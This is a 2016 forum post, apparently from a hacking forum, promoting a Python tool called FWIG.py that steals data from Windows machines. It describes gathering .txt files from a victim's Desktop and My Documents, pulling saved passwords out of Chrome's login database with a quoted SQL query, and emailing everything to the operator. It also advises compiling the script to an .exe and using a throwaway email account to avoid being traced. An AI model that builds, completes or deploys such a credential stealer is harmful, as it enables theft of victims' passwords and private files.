Thread: [Windows client information gathering tool](#)

The_R - December 13, 2016, 6:14 am

I created a tool that searches for .txt files on the Desktop and on the "My Documents" folder on the client. It then access' the local Google Chrome sql db where the Chromes saved passwords are stored and selects the useful information with an sql query;

```
Code SELECT action_url, username_value, password_value FROM logins
```

It then emails both the content of the .txt files and the Chrome passwords to your desirable email address.

You might want to compile the FWIG.py to an .exe with Pyinstaller.

Don't use your main gmail account or encrypt the password?

Nvm that's retarded. Lol. You'd have to use another gmail account or use a temporary mail service
